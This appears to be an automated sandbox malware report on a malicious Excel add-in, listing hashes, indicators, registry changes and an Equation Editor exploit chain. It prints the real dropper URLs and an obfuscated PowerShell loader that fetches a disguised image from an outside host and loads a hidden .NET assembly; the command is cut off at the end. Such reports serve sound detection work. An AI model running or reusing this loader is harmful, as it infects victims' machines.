6b6ea217e2d9902116526fe8e76c505ce3898da37ed41e83a0b20b1e110afadc

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20231023-en
resource tags

arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
submitted
28-11-2023 01:30

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Report Analysis Logs

General

Target

ae280d0e2156248467f1bb96f3248fde6a8a24ff4c617c51f3e14eacb84ef015.xlam
Size

705KB
MD5

24d588a1c195344294f51350b853d8aa
SHA1

ed7421046c86823524e49bbb221e3132d35ca783
SHA256

ae280d0e2156248467f1bb96f3248fde6a8a24ff4c617c51f3e14eacb84ef015
SHA512

260748ff9a997d7b02375cfcf7f29079ee28470c3f1e28e255b7d4d723ad00d1d79b8d0a92ae13973bc17d214c362535cd7cd497cdab6cf359924a8918ef9810
SSDEEP

12288:BT+oqO2lkeBqhP+aLrof672k/5+6iz0X7vDq287GSM6PJaYDdW87YQECQShyC7jx:BT+3OlThPb6k/bd7Dq287G+hc83ECxIY

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864

exe.dropper

https://uploaddeimagens.com.br/images/004/666/683/original/js.jpg?1700183864

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	2756	EQNEDT32.EXE
6	2648	WScript.exe
9	2512	powershell.exe
11	2512	powershell.exe
13	2512	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2756	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2085049433-1067986815-1244098655-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2124	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2736	powershell.exe
2512	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2124	EXCEL.EXE
2124	EXCEL.EXE
2124	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2648	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2648	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2648	2756	EQNEDT32.EXE	29
PID 2756 wrote to memory of 2648	2756	EQNEDT32.EXE	29
PID 2648 wrote to memory of 2736	2648	WScript.exe	31
PID 2648 wrote to memory of 2736	2648	WScript.exe	31
PID 2648 wrote to memory of 2736	2648	WScript.exe	31
PID 2648 wrote to memory of 2736	2648	WScript.exe	31
PID 2736 wrote to memory of 2512	2736	powershell.exe	33
PID 2736 wrote to memory of 2512	2736	powershell.exe	33
PID 2736 wrote to memory of 2512	2736	powershell.exe	33
PID 2736 wrote to memory of 2512	2736	powershell.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ae280d0e2156248467f1bb96f3248fde6a8a24ff4c617c51f3e14eacb84ef015.xlam
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2124

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2756
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\yqavbh.js"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚I♛♚♛♚9♛♚C♛♚♛♚JwBo♛♚HQ♛♚d♛♚Bw♛♚HM♛♚Og♛♚v♛♚C8♛♚dQBw♛♚Gw♛♚bwBh♛♚GQ♛♚Z♛♚Bl♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBu♛♚HM♛♚LgBj♛♚G8♛♚bQ♛♚u♛♚GI♛♚cg♛♚v♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBz♛♚C8♛♚M♛♚♛♚w♛♚DQ♛♚Lw♛♚2♛♚DY♛♚Ng♛♚v♛♚DY♛♚O♛♚♛♚z♛♚C8♛♚bwBy♛♚Gk♛♚ZwBp♛♚G4♛♚YQBs♛♚C8♛♚agBz♛♚C4♛♚agBw♛♚Gc♛♚Pw♛♚x♛♚Dc♛♚M♛♚♛♚w♛♚DE♛♚O♛♚♛♚z♛♚Dg♛♚Ng♛♚0♛♚Cc♛♚Ow♛♚k♛♚Hc♛♚ZQBi♛♚EM♛♚b♛♚Bp♛♚GU♛♚bgB0♛♚C♛♚♛♚PQ♛♚g♛♚E4♛♚ZQB3♛♚C0♛♚TwBi♛♚Go♛♚ZQBj♛♚HQ♛♚I♛♚BT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚E4♛♚ZQB0♛♚C4♛♚VwBl♛♚GI♛♚QwBs♛♚Gk♛♚ZQBu♛♚HQ♛♚Ow♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚B3♛♚GU♛♚YgBD♛♚Gw♛♚aQBl♛♚G4♛♚d♛♚♛♚u♛♚EQ♛♚bwB3♛♚G4♛♚b♛♚Bv♛♚GE♛♚Z♛♚BE♛♚GE♛♚d♛♚Bh♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚VQBy♛♚Gw♛♚KQ♛♚7♛♚CQ♛♚aQBt♛♚GE♛♚ZwBl♛♚FQ♛♚ZQB4♛♚HQ♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FQ♛♚ZQB4♛♚HQ♛♚LgBF♛♚G4♛♚YwBv♛♚GQ♛♚aQBu♛♚Gc♛♚XQ♛♚6♛♚Do♛♚VQBU♛♚EY♛♚O♛♚♛♚u♛♚Ec♛♚ZQB0♛♚FM♛♚d♛♚By♛♚Gk♛♚bgBn♛♚Cg♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚QgB5♛♚HQ♛♚ZQBz♛♚Ck♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚UwBU♛♚EE♛♚UgBU♛♚D4♛♚Pg♛♚n♛♚Ds♛♚J♛♚Bl♛♚G4♛♚Z♛♚BG♛♚Gw♛♚YQBn♛♚C♛♚♛♚PQ♛♚g♛♚Cc♛♚P♛♚♛♚8♛♚EI♛♚QQBT♛♚EU♛♚Ng♛♚0♛♚F8♛♚RQBO♛♚EQ♛♚Pg♛♚+♛♚Cc♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚9♛♚C♛♚♛♚J♛♚Bp♛♚G0♛♚YQBn♛♚GU♛♚V♛♚Bl♛♚Hg♛♚d♛♚♛♚u♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚BP♛♚GY♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚Ck♛♚Ow♛♚k♛♚GU♛♚bgBk♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚SQBu♛♚GQ♛♚ZQB4♛♚E8♛♚Zg♛♚o♛♚CQ♛♚ZQBu♛♚GQ♛♚RgBs♛♚GE♛♚Zw♛♚p♛♚Ds♛♚J♛♚Bz♛♚HQ♛♚YQBy♛♚HQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚GU♛♚I♛♚♛♚w♛♚C♛♚♛♚LQBh♛♚G4♛♚Z♛♚♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQBn♛♚HQ♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚Ow♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚I♛♚♛♚r♛♚D0♛♚I♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BG♛♚Gw♛♚YQBn♛♚C4♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚Ow♛♚k♛♚GI♛♚YQBz♛♚GU♛♚Ng♛♚0♛♚Ew♛♚ZQBu♛♚Gc♛♚d♛♚Bo♛♚C♛♚♛♚PQ♛♚g♛♚CQ♛♚ZQBu♛♚GQ♛♚SQBu♛♚GQ♛♚ZQB4♛♚C♛♚♛♚LQ♛♚g♛♚CQ♛♚cwB0♛♚GE♛♚cgB0♛♚Ek♛♚bgBk♛♚GU♛♚e♛♚♛♚7♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gk♛♚bQBh♛♚Gc♛♚ZQBU♛♚GU♛♚e♛♚B0♛♚C4♛♚UwB1♛♚GI♛♚cwB0♛♚HI♛♚aQBu♛♚Gc♛♚K♛♚♛♚k♛♚HM♛♚d♛♚Bh♛♚HI♛♚d♛♚BJ♛♚G4♛♚Z♛♚Bl♛♚Hg♛♚L♛♚♛♚g♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚T♛♚Bl♛♚G4♛♚ZwB0♛♚Gg♛♚KQ♛♚7♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚EM♛♚bwBu♛♚HY♛♚ZQBy♛♚HQ♛♚XQ♛♚6♛♚Do♛♚RgBy♛♚G8♛♚bQBC♛♚GE♛♚cwBl♛♚DY♛♚N♛♚BT♛♚HQ♛♚cgBp♛♚G4♛♚Zw♛♚o♛♚CQ♛♚YgBh♛♚HM♛♚ZQ♛♚2♛♚DQ♛♚QwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚♛♚p♛♚Ds♛♚J♛♚Bs♛♚G8♛♚YQBk♛♚GU♛♚Z♛♚BB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚I♛♚♛♚9♛♚C♛♚♛♚WwBT♛♚Hk♛♚cwB0♛♚GU♛♚bQ♛♚u♛♚FI♛♚ZQBm♛♚Gw♛♚ZQBj♛♚HQ♛♚aQBv♛♚G4♛♚LgBB♛♚HM♛♚cwBl♛♚G0♛♚YgBs♛♚Hk♛♚XQ♛♚6♛♚Do♛♚T♛♚Bv♛♚GE♛♚Z♛♚♛♚o♛♚CQ♛♚YwBv♛♚G0♛♚bQBh♛♚G4♛♚Z♛♚BC♛♚Hk♛♚d♛♚Bl♛♚HM♛♚KQ♛♚7♛♚CQ♛♚d♛♚B5♛♚H♛♚♛♚ZQ♛♚g♛♚D0♛♚I♛♚♛♚k♛♚Gw♛♚bwBh♛♚GQ♛♚ZQBk♛♚EE♛♚cwBz♛♚GU♛♚bQBi♛♚Gw♛♚eQ♛♚u♛♚Ec♛♚ZQB0♛♚FQ♛♚eQBw♛♚GU♛♚K♛♚♛♚n♛♚EY♛♚aQBi♛♚GU♛♚cg♛♚u♛♚Eg♛♚bwBt♛♚GU♛♚Jw♛♚p♛♚Ds♛♚J♛♚Bt♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚g♛♚D0♛♚I♛♚♛♚k♛♚HQ♛♚eQBw♛♚GU♛♚LgBH♛♚GU♛♚d♛♚BN♛♚GU♛♚d♛♚Bo♛♚G8♛♚Z♛♚♛♚o♛♚Cc♛♚VgBB♛♚Ek♛♚Jw♛♚p♛♚C4♛♚SQBu♛♚HY♛♚bwBr♛♚GU♛♚K♛♚♛♚k♛♚G4♛♚dQBs♛♚Gw♛♚L♛♚